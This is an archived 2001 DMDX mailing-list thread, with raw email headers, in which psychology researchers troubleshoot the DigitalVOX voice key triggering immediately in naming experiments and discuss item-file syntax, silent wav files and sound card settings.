(8.8.7/8.8.8) with ESMTP id EAA19418 for ; Fri, 27 Apr 2001 04:50:02 -0700 Received: from Boris (n2sgir225.psycho.univ-paris5.fr [193.51.84.225]) by alpha.univ-paris5.fr (8.9.3/jtpda-5.3.2) with SMTP id NAA03056 for ; Fri, 27 Apr 2001 13:49:46 +0200 (MET DST) Message-ID: <001801c0cf11$27066ca0$312815ac@lpe> From: ""Boris New"" To: ""DMDX"" Subject: [DMDX] Fw: dmdx add-ons Date: Fri, 27 Apr 2001 13:56:53 +0200 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=""----=_NextPart_000_0015_01C0CF21.EA5540E0"" Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list C'est un message de format MIME en plusieurs parties. ------=_NextPart_000_0015_01C0CF21.EA5540E0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable Hi, You could be interested by two programs (in perl) I made : azk2txt: it formats your dmdx output: (errors, display problems, and = conditions (if your item number is correctly coded)) mean: if your file is organised by line, it removes the outliers (you = can see an example in the zip file)=20 You can download them on http://www.borisnew.org/stories.php?topic=3D6 Hope they will be useful!! ------=_NextPart_000_0015_01C0CF21.EA5540E0 Content-Type: text/html; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable   Hi,   You could be interested by two programs = (in perl) I=20 made :   azk2txt: it formats your dmdx output: = (errors,=20 display problems, and conditions (if your item number is correctly=20 coded))   mean: if your file is organised by = line, it removes=20 the outliers (you can see an example in the zip file)   You can download them on http://www.borisne= w.org/stories.php?topic=3D6   Hope they will be=20 useful!! ------=_NextPart_000_0015_01C0CF21.EA5540E0-- >From DMDX-owner@psy1.psych.arizona.edu Tue May 15 09:44:22 2001 Received: from measn0.mea.isim.univ-montp2.fr (measn0.mea.isim.univ-montp2.fr [162.38.110.200]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id JAA02796 for ; Tue, 15 May 2001 09:38:54 -0700 Received: from pcred ([162.38.113.10]) by measn0.mea.isim.univ-montp2.fr (8.9.1a/8.9.1) with SMTP id SAA15972 for ; Tue, 15 May 2001 18:42:14 +0200 (MET DST) Message-ID: <000d01c0dd5e$3cc85480$0a7126a2@pcred.isim.univ-montp2.fr> From: ""Alain REDLINGER"" To: Subject: [DMDX] always immedate triggering of the DigitalVOX (RT = 1.00) Date: Tue, 15 May 2001 18:43:40 +0200 MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 8bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Pb : immediate triggering of the DigitalVOX signal Dear List, I have the following problem with the digital VOX which I use for a naming task experiment : DigitalVOX always triggers immediately (RT = 1.00 for ""+"" items, ""wrong"" for ""-"" items), whatever the threshold setting, and indeed even if the ""microphone"" and / or ""line"" in are set to ""mute"" in the recording control dialog box. Below is an example of the ""rtf ""control file which I use for testing purposes. I work on a MITAC laptop with a AMD processor (K6) under Window 98 (4.10.2222A). I now use Dmdx version 2.4.06, but I started with 2.4.02 (same behaviour concerning this problem). I have DirectX version 7. The sound board is unknown to me, but the audio drive is ES1869 from ESS Technology. The set VOX on the Dmdx main menu seems fine (triggering at audio input). Setting the threshold beyond or much beyond an apparently satisfactory level does help, even setting it to maximum level. Using enhanced VOX does not help either (then I get constant RT = 4.00). TimeDX sound test and sound latency test are both ok (signal to noise ratio is 5 to 1). Strange as it might seem, my naming task did work ONCE (and only once) yielding correct response times for a 70 or so item control file, so that the hardware might be able to perform OK (?). Here is (one of) my rtf file : 0 ""Press spacebar to start""; +101 * ""apple"" /!; +102 * ""ashtray"" /!; -103 * ""bear"" /!; +104 * ""bell""/!; 0 ""Thank you"" /!; I have also tried to unmap all positive responses, and map it to the VOX signal only : same behaviour. Thank you for your help. Madeleine VOGA, Laboratoire de Psychologie Cognitive (LPC) CNRS & Universit� de Provence Universit� de Provence 29, av. R. Schuman F-13621 Aix-en-Provence >From DMDX-owner@psy1.psych.arizona.edu Tue May 15 10:04:13 2001 Received: from fau.edu (fautest.fau.edu [131.91.128.85]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id KAA02904 for ; Tue, 15 May 2001 10:01:25 -0700 Received: by fau.edu; id NAA01274; Tue, 15 May 2001 13:01:31 -0400 (EDT) Received: from bert.fau.edu(131.91.130.27) by fautest.fau.edu via csmap (V4.1) id srcAAA8zaiFc; Tue, 15 May 01 13:01:31 -0400 Received: from ES273 (ades273.fau.edu [131.91.43.147]) by bert.fau.edu (8.9.3+Sun/8.9.3) with SMTP id NAA10579 for ; Tue, 15 May 2001 13:01:36 -0400 (EDT) Message-Id: <3.0.1.32.20010515132208.011526e4@pop.fau.edu> Date: Tue, 15 May 2001 13:22:08 -0400 To: DMDX@psy1.psych.arizona.edu From: ""Dr.Steven Hecht"" Subject: [DMDX] Re: always immedate triggering of the DigitalVOX (RT = 1.00) In-Reply-To: <000d01c0dd5e$3cc85480$0a7126a2@pcred.isim.univ-montp2.fr> Mime-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 8bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Dear Madeleine, I've also experienced that very same problem in a similar experiment. Try inserting the after each asterisk, instead of in the top command line. I believe that will clear the buffer each trial. Anyway, doing this solved this problem for me. For example, +101 * ""apple"" /!; At 06:43 PM 5/15/2001 +0200, you wrote: >Pb : immediate triggering of the DigitalVOX signal > >Dear List, > >I have the following problem with the digital VOX which I use for a naming task experiment : > >DigitalVOX always triggers immediately (RT = 1.00 for ""+"" items, ""wrong"" for ""-"" items), whatever the threshold setting, and indeed even if the ""microphone"" and / or ""line"" in are set to ""mute"" in the recording control dialog box. > >Below is an example of the ""rtf ""control file which I use for testing purposes. I work on a MITAC laptop with a AMD processor (K6) under Window 98 (4.10.2222A). I now use Dmdx version 2.4.06, but I started with 2.4.02 (same behaviour concerning this problem). I have DirectX version 7. The sound board is unknown to me, but the audio drive is ES1869 from ESS Technology. > >The set VOX on the Dmdx main menu seems fine (triggering at audio input). Setting the threshold beyond or much beyond an apparently satisfactory level does help, even setting it to maximum level. Using enhanced VOX does not help either (then I get constant RT = 4.00). > >TimeDX sound test and sound latency test are both ok (signal to noise ratio is 5 to 1). > >Strange as it might seem, my naming task did work ONCE (and only once) yielding correct response times for a 70 or so item control file, so that the hardware might be able to perform OK (?). > >Here is (one of) my rtf file : > > >0 ""Press spacebar to start""; >+101 * ""apple"" /!; >+102 * ""ashtray"" /!; >-103 * ""bear"" /!; >+104 * ""bell""/!; >0 ""Thank you"" /!; > >I have also tried to unmap all positive responses, and map it to the VOX signal only : same behaviour. >Thank you for your help. >Madeleine VOGA, >Laboratoire de Psychologie Cognitive (LPC) >CNRS & Universit� de Provence >Universit� de Provence >29, av. R. Schuman >F-13621 Aix-en-Provence > > > > > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== > ********************************************************* Steven A. Hecht, Assistant Professor College of Liberal Arts Division of Psychology Florida Atlantic University 2912 College Avenue Davie, FL 33314 Office Phone : 954-236-1176 Fax : 954-236-1099 ********************************************************* >From DMDX-owner@psy1.psych.arizona.edu Tue May 15 19:25:41 2001 Received: from deimos.email.Arizona.EDU (root@deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id TAA04068 for ; Tue, 15 May 2001 19:22:45 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.50) by deimos.email.Arizona.EDU (5.1.056) id 3AFC171000044250 for DMDX@psy1.psych.arizona.edu; Tue, 15 May 2001 19:22:45 -0700 Message-Id: <5.1.0.14.2.20010515184839.009f3290@psy1.psych.arizona.edu> Date: Tue, 15 May 2001 19:22:44 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: always immedate triggering of the DigitalVOX (RT = 1.00) In-Reply-To: <3.0.1.32.20010515132208.011526e4@pop.fau.edu> References: <000d01c0dd5e$3cc85480$0a7126a2@pcred.isim.univ-montp2.fr> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 01:22 PM 5/15/01 -0400, you wrote: >Dear Madeleine, > I've also experienced that very same problem in a similar > experiment. Try >inserting the after each asterisk, instead of in the top command >line. I believe that will clear the buffer each trial. Anyway, doing this >solved this problem for me. > >For example, > >+101 * ""apple"" /!; Hmm, that's interesting. Using T in an item like that forces the RecordVocal device to re-setup itself each item, however that is done as the item is parsed, not when the clockon is encountered. My guess is that there is some sort of noise present when a DirectSoundCapture buffer starts capturing, a little pop which triggers the VOX. This would explain the VOX test functioning nicely but DMDX then running items producing different results as the capturing is started and stopped with each clockon but is on continuously in the VOX test. Short of me modifying DMDX to include a response suppression option for the DSC stuff for a number of milliseconds (I was thinking about including that eons ago however I don't see any comments indicating I did add it so unless you can find something in the docs I'm betting I didn't implement it) there are only two things I can think of beyond the above kludge (if it works in your instance). First is the old standby, get some newer drivers for the audio card or get another audio card. Beyond that you could try tinkering with the enhanced VOX settings, say trying a larger window over which determine the threshold. While this does fundamentally change the way the VOX works (you can't compare results across different settings as the latency of the trigger changes with window size) it should get around any small pops introduced by the hardware switching modes. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The other line always moves faster. >From DMDX-owner@psy1.psych.arizona.edu Wed May 16 07:16:05 2001 Received: from fau.edu (fautest.fau.edu [131.91.128.85]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id HAA05388 for ; Wed, 16 May 2001 07:15:44 -0700 Received: by fau.edu; id KAA26086; Wed, 16 May 2001 10:15:52 -0400 (EDT) Received: from bert.fau.edu(131.91.130.27) by fautest.fau.edu via csmap (V4.1) id srcAAA_NaG8Y; Wed, 16 May 01 10:15:52 -0400 Received: from ES273 (ades273.fau.edu [131.91.43.147]) by bert.fau.edu (8.9.3+Sun/8.9.3) with SMTP id KAA09846 for ; Wed, 16 May 2001 10:16:01 -0400 (EDT) Message-Id: <3.0.1.32.20010516103626.01153d54@pop.fau.edu> Date: Wed, 16 May 2001 10:36:26 -0400 To: DMDX@psy1.psych.arizona.edu From: ""Dr.Steven Hecht"" Subject: [DMDX] Re: always immedate triggering of the DigitalVOX (RT = 1.00) In-Reply-To: <5.1.0.14.2.20010515184839.009f3290@psy1.psych.arizona.edu> References: <3.0.1.32.20010515132208.011526e4@pop.fau.edu> <000d01c0dd5e$3cc85480$0a7126a2@pcred.isim.univ-montp2.fr> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Dr. Forster, I'm using a fairly new Dell Optiplex GX1p (pentium), which has new drivers. Also, using the enhanced vox does not solve the problem (I tried that too). Thanks, Steve Hecht At 07:22 PM 5/15/2001 -0700, you wrote: >At 01:22 PM 5/15/01 -0400, you wrote: >>Dear Madeleine, >> I've also experienced that very same problem in a similar >> experiment. Try >>inserting the after each asterisk, instead of in the top command >>line. I believe that will clear the buffer each trial. Anyway, doing this >>solved this problem for me. >> >>For example, >> >>+101 * ""apple"" /!; > > Hmm, that's interesting. Using T in an item like that forces the >RecordVocal device to re-setup itself each item, however that is done as >the item is parsed, not when the clockon is encountered. My guess is that >there is some sort of noise present when a DirectSoundCapture buffer starts >capturing, a little pop which triggers the VOX. This would explain the VOX >test functioning nicely but DMDX then running items producing different >results as the capturing is started and stopped with each clockon but is on >continuously in the VOX test. Short of me modifying DMDX to include a >response suppression option for the DSC stuff for a number of milliseconds >(I was thinking about including that eons ago however I don't see any >comments indicating I did add it so unless you can find something in the >docs I'm betting I didn't implement it) there are only two things I can >think of beyond the above kludge (if it works in your instance). First is >the old standby, get some newer drivers for the audio card or get another >audio card. Beyond that you could try tinkering with the enhanced VOX >settings, say trying a larger window over which determine the >threshold. While this does fundamentally change the way the VOX works (you >can't compare results across different settings as the latency of the >trigger changes with window size) it should get around any small pops >introduced by the hardware switching modes. > > >-jonathan (j.c.f.) > > /""\\ > \\ / > X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL > / \\ > > The other line always moves faster. > > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== > ********************************************************* Steven A. Hecht, Assistant Professor College of Liberal Arts Division of Psychology Florida Atlantic University 2912 College Avenue Davie, FL 33314 Office Phone : 954-236-1176 Fax : 954-236-1099 ********************************************************* >From DMDX-owner@psy1.psych.arizona.edu Wed May 16 09:25:27 2001 Received: from deimos.email.Arizona.EDU (root@deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id JAA05710 for ; Wed, 16 May 2001 09:25:19 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.50) by deimos.email.Arizona.EDU (5.1.056) id 3AFC17100004D2F6 for DMDX@psy1.psych.arizona.edu; Wed, 16 May 2001 09:25:17 -0700 Message-Id: <5.1.0.14.2.20010516091812.009e58f0@psy1.psych.arizona.edu> Date: Wed, 16 May 2001 09:25:16 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: always immedate triggering of the DigitalVOX (RT = 1.00) In-Reply-To: <3.0.1.32.20010516103626.01153d54@pop.fau.edu> References: <5.1.0.14.2.20010515184839.009f3290@psy1.psych.arizona.edu> <3.0.1.32.20010515132208.011526e4@pop.fau.edu> <000d01c0dd5e$3cc85480$0a7126a2@pcred.isim.univ-montp2.fr> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 10:36 AM 5/16/01 -0400, you wrote: >Dr. Forster, > >I'm using a fairly new Dell Optiplex GX1p (pentium), which has new drivers. > Also, using the enhanced vox does not solve the problem (I tried that >too). Hmm, not good. If the enhanced VOX doesn't solve the problem it's not just a simple spike when the capture is started. You tried it with a large sliding window size too? Only other thing I can think of trying short of me modifying the DigitalVOX device is to simply play a single wave file at the beginning of the item file. It can be silence, all we're after is the request for DMDX to initialize the sound output and thus have both DirectSound and DirectSoundCapture initialized, perhaps there's some interaction and only having DirectSoundCapture initialized as you are currently using it has some odd effect. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The other line always moves faster. >From DMDX-owner@psy1.psych.arizona.edu Wed May 16 09:47:33 2001 Received: from fau.edu (fautest.fau.edu [131.91.128.85]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id JAA05821 for ; Wed, 16 May 2001 09:47:17 -0700 Received: by fau.edu; id MAA05775; Wed, 16 May 2001 12:47:24 -0400 (EDT) Received: from bert.fau.edu(131.91.130.27) by fautest.fau.edu via csmap (V4.1) id srcAAAMoaOrl; Wed, 16 May 01 12:47:23 -0400 Received: from ES273 (ades273.fau.edu [131.91.43.147]) by bert.fau.edu (8.9.3+Sun/8.9.3) with SMTP id MAA05920 for ; Wed, 16 May 2001 12:47:33 -0400 (EDT) Message-Id: <3.0.1.32.20010516130758.0115a87c@pop.fau.edu> Date: Wed, 16 May 2001 13:07:58 -0400 To: DMDX@psy1.psych.arizona.edu From: ""Dr.Steven Hecht"" Subject: [DMDX] Re: always immedate triggering of the DigitalVOX (RT = 1.00) In-Reply-To: <5.1.0.14.2.20010516091812.009e58f0@psy1.psych.arizona.edu> References: <3.0.1.32.20010516103626.01153d54@pop.fau.edu> <5.1.0.14.2.20010515184839.009f3290@psy1.psych.arizona.edu> <3.0.1.32.20010515132208.011526e4@pop.fau.edu> <000d01c0dd5e$3cc85480$0a7126a2@pcred.isim.univ-montp2.fr> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list I put the silence wav file and the in each trial line. That solved the problem for both my dell optiplex pc and inspiron laptop computers. --Steve At 09:25 AM 5/16/2001 -0700, you wrote: >At 10:36 AM 5/16/01 -0400, you wrote: >>Dr. Forster, >> >>I'm using a fairly new Dell Optiplex GX1p (pentium), which has new drivers. >> Also, using the enhanced vox does not solve the problem (I tried that >>too). > > Hmm, not good. If the enhanced VOX doesn't solve the problem it's not >just a simple spike when the capture is started. You tried it with a large >sliding window size too? Only other thing I can think of trying short of >me modifying the DigitalVOX device is to simply play a single wave file at >the beginning of the item file. It can be silence, all we're after is the >request for DMDX to initialize the sound output and thus have both >DirectSound and DirectSoundCapture initialized, perhaps there's some >interaction and only having DirectSoundCapture initialized as you are >currently using it has some odd effect. > > >-jonathan (j.c.f.) > > /""\\ > \\ / > X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL > / \\ > > The other line always moves faster. > > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== > ********************************************************* Steven A. Hecht, Assistant Professor College of Liberal Arts Division of Psychology Florida Atlantic University 2912 College Avenue Davie, FL 33314 Office Phone : 954-236-1176 Fax : 954-236-1099 ********************************************************* >From DMDX-owner@psy1.psych.arizona.edu Wed May 16 10:06:41 2001 Received: from phobos.email.Arizona.EDU (root@phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id KAA05937 for ; Wed, 16 May 2001 10:06:35 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.50) by phobos.email.Arizona.EDU (5.1.056) id 3AFB9673000548D0 for DMDX@psy1.psych.arizona.edu; Wed, 16 May 2001 10:06:34 -0700 Message-Id: <5.1.0.14.2.20010516100611.009ebbd0@psy1.psych.arizona.edu> Date: Wed, 16 May 2001 10:06:33 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: always immedate triggering of the DigitalVOX (RT = 1.00) In-Reply-To: <3.0.1.32.20010516130758.0115a87c@pop.fau.edu> References: <5.1.0.14.2.20010516091812.009e58f0@psy1.psych.arizona.edu> <3.0.1.32.20010516103626.01153d54@pop.fau.edu> <5.1.0.14.2.20010515184839.009f3290@psy1.psych.arizona.edu> <3.0.1.32.20010515132208.011526e4@pop.fau.edu> <000d01c0dd5e$3cc85480$0a7126a2@pcred.isim.univ-montp2.fr> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 01:07 PM 5/16/01 -0400, you wrote: >I put the silence wav file and the in each trial line. That >solved the problem for both my dell optiplex pc and inspiron laptop >computers. How about just the silence wav file? -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The other line always moves faster. >From DMDX-owner@psy1.psych.arizona.edu Wed May 16 11:43:22 2001 Received: from phobos.email.Arizona.EDU (root@phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id LAA06177 for ; Wed, 16 May 2001 11:43:13 -0700 Received: from jcf.u.arizona.edu (128.196.98.7) by phobos.email.Arizona.EDU (5.1.056) id 3AFB96730005711C for DMDX@psy1.psych.arizona.edu; Wed, 16 May 2001 11:43:11 -0700 Message-Id: <5.1.0.14.2.20010516114047.00a180a0@psy1.psych.arizona.edu> Date: Wed, 16 May 2001 11:43:14 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] more DigitalVOX stuff Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Also, people who are getting immediate triggers with the DigitalVOX might try setting the threshold to maximum and then seeing if the item file still produces RTs of 1ms. While I don't expect this will solve your problems it will give me an insight into what is going on. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Grabel's Law: 2 is not equal to 3 -- not even for large values of 2. >From DMDX-owner@psy1.psych.arizona.edu Thu May 17 08:21:53 2001 Received: from measn0.mea.isim.univ-montp2.fr (measn0.mea.isim.univ-montp2.fr [162.38.110.200]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id IAA08533 for ; Thu, 17 May 2001 08:21:25 -0700 Received: from pcred ([162.38.113.10]) by measn0.mea.isim.univ-montp2.fr (8.9.1a/8.9.1) with SMTP id RAA09518 for ; Thu, 17 May 2001 17:24:51 +0200 (MET DST) Message-ID: <003b01c0dee5$d6638fa0$0a7126a2@pcred.isim.univ-montp2.fr> From: ""Alain REDLINGER"" To: Subject: [DMDX] more of the DigitalVOX immediate triggering problem Date: Thu, 17 May 2001 17:27:03 +0200 MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 8bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Dear Dr Hecht, dear Dr Forster, dear List A) I thank you for your suggestion for item syntax, Dr Hecht : +101 * ""apple"" /!; I tried it, but it did not work on my computer. I also tried sevaral things like : +101 ""apple"" / * ""apple"" /!; hoping that capturing would start at the beginning of the item, one frame duration before the clock is set on (then the real response time would have been : RT + the first frame duration) but it did not work either. Does anyone know anyway to dissociate the ""start capturing"" event from the ""clock on"" event ? B) Dr Forster, in case this might be of any interest to you, I had a closer look at the ""Test Vox"" on my computer. I first said the Test Vox was fine, by which I meant that I could get a triggering of the DigitalVOX for a normal level of voice output from my subjects. Now I must say that I also always had a DigitalVOX triggering at the very beginnig of the TestVox when the dialog box opens. Following your suggestion, I tried to increase the size of the ""enhanced window"" parameter. I found that by repeatedly quitting and re-entering the Test Vox, I could adjust the ""enhanced window"" so as to suppress the Digital Vox triggering at the start of the test, and indeed also when running items. The problem then is that : a) either I leave the VU parameter and the enhanced VU parameter at satisfactory level (i.e. triggering at normal voice levels), and then I need to increase the window size at values greater than 200 ms, or b) I use a window size of, say 120 ms, and then I have to adjust the two VUs at levels such that triggering occurs only when subject shout at the microphone. Thus one question I have is : to what extent does the setting of the enhanced window parameter to such large values as 200 ms impair the precision of response time measurements ? Madeleine VOGA, Laboratoire de Psychologie Cognitive (LPC) CNRS & Universit� de Provence Universit� de Provence 29, av. R. Schuman F-13621 Aix-en-Provence >From DMDX-owner@psy1.psych.arizona.edu Thu May 17 09:39:40 2001 Received: from fau.edu (fautest.fau.edu [131.91.128.85]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id JAA08771 for ; Thu, 17 May 2001 09:39:23 -0700 Received: by fau.edu; id MAA19123; Thu, 17 May 2001 12:39:30 -0400 (EDT) Received: from bert.fau.edu(131.91.130.27) by fautest.fau.edu via csmap (V4.1) id srcAAAzBa4vL; Thu, 17 May 01 12:39:30 -0400 Received: from ES273 (ades273.fau.edu [131.91.43.147]) by bert.fau.edu (8.9.3+Sun/8.9.3) with SMTP id MAA20299 for ; Thu, 17 May 2001 12:39:45 -0400 (EDT) Message-Id: <3.0.1.32.20010517130009.0115c63c@pop.fau.edu> Date: Thu, 17 May 2001 13:00:09 -0400 To: DMDX@psy1.psych.arizona.edu From: ""Dr.Steven Hecht"" Subject: [DMDX] Re: more of the DigitalVOX immediate triggering problem In-Reply-To: <003b01c0dee5$d6638fa0$0a7126a2@pcred.isim.univ-montp2.fr> Mime-Version: 1.0 Content-Type: multipart/mixed; boundary=""=====================_990133209==_"" Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list --=====================_990133209==_ Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable Hi Madeleine, Did you try to add a silent wav file to each trial. I've attached a copy of my silence wav file for your convenience....Steve Hecht At 05:27 PM 5/17/2001 +0200, you wrote: >Dear Dr Hecht, dear Dr Forster, dear List > >A) I thank you for your suggestion for item syntax, Dr Hecht : > >+101 * ""apple"" /!;=20 > >I tried it, but it did not work on my computer. I also tried sevaral things like :=20 > >+101 ""apple"" / * ""apple"" /!;=20 > >hoping that capturing would start at the beginning of the item, one frame duration before the clock is set on (then the real response time would have been : RT + the first frame duration) but it did not work either.=20 > >Does anyone know anyway to dissociate the ""start capturing"" event from the ""clock on"" event ?=20 > >B) Dr Forster, in case this might be of any interest to you, I had a closer look at the ""Test Vox"" on my computer. I first said the Test Vox was fine, by which I meant that I could get a triggering of the DigitalVOX for a normal level of voice output from my subjects. Now I must say that I also always had a DigitalVOX triggering at the very beginnig of the TestVox when the dialog box opens.=20 > >Following your suggestion, I tried to increase the size of the ""enhanced window"" parameter. I found that by repeatedly quitting and re-entering the Test Vox, I could adjust the ""enhanced window"" so as to suppress the Digital Vox triggering at the start of the test, and indeed also when running items. > >The problem then is that : a) either I leave the VU parameter and the enhanced VU parameter at satisfactory level (i.e. triggering at normal voice levels), and then I need to increase the window size at values greater than 200 ms, or b) I use a window size of, say 120 ms, and then I have to adjust the two VUs at levels such that triggering occurs only when subject shout at the microphone.=20 > >Thus one question I have is : to what extent does the setting of the enhanced window parameter to such large values as 200 ms impair the precision of response time measurements ?=20 > >Madeleine VOGA, >Laboratoire de Psychologie Cognitive (LPC) >CNRS & Universit=E9 de Provence >Universit=E9 de Provence >29, av. R. Schuman >F-13621 Aix-en-Provence=20 > > >=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D > ********************************************************* Steven A. Hecht, Assistant Professor College of Liberal Arts Division of Psychology Florida Atlantic University 2912 College Avenue Davie, FL 33314 Office Phone : 954-236-1176 Fax : 954-236-1099 ********************************************************* --=====================_990133209==_-- >From DMDX-owner@psy1.psych.arizona.edu Thu May 17 10:02:32 2001 Received: from phobos.email.Arizona.EDU (root@phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id KAA08888 for ; Thu, 17 May 2001 10:02:01 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.50) by phobos.email.Arizona.EDU (5.1.056) id 3B03DB8400003F12 for DMDX@psy1.psych.arizona.edu; Thu, 17 May 2001 10:02:01 -0700 Message-Id: <5.1.0.14.2.20010517093503.009eba00@psy1.psych.arizona.edu> Date: Thu, 17 May 2001 10:02:00 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: more of the DigitalVOX immediate triggering problem In-Reply-To: <003b01c0dee5$d6638fa0$0a7126a2@pcred.isim.univ-montp2.fr> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 05:27 PM 5/17/01 +0200, you wrote: >Dear Dr Hecht, dear Dr Forster, dear List > >A) I thank you for your suggestion for item syntax, Dr Hecht : > >+101 * ""apple"" /!; > >I tried it, but it did not work on my computer. I also tried sevaral >things like : > >+101 ""apple"" / * ""apple"" /!; > >hoping that capturing would start at the beginning of the item, one frame >duration before the clock is set on (then the real response time would >have been : RT + the first frame duration) but it did not work either. It wouldn't, the setup of the RecordVocal device is done during the inter item gap anyway. My guess is that the fact that works for Steve is purely attributable to FM. >Does anyone know anyway to dissociate the ""start capturing"" event from the >""clock on"" event ? You cant. Well, actually you can, you don't use the DigitalVOX, you just record the vocalization with RecordVocal and use some other piece of software after the fact to analyze the recordings, but you probably want DMDX to be doing the RTs... >B) Dr Forster, in case this might be of any interest to you, I had a >closer look at the ""Test Vox"" on my computer. I first said the Test Vox >was fine, by which I meant that I could get a triggering of the DigitalVOX >for a normal level of voice output from my subjects. Now I must say that I >also always had a DigitalVOX triggering at the very beginnig of the >TestVox when the dialog box opens. Tada. Horrible sound card. It's got some kind of mixing glitch in there. You might be able to look in the windows mixer and turn off other input channels if they are on and just leave the microphone enabled and this might solve your problem but that's clutching at hairs. Perhaps if you are using the sound card's preamp (the microphone is just plugged straight into the sound card's MIC input) using an external preamp and the LINE IN input would not produce the glitch. That or try another sound card ;) >Following your suggestion, I tried to increase the 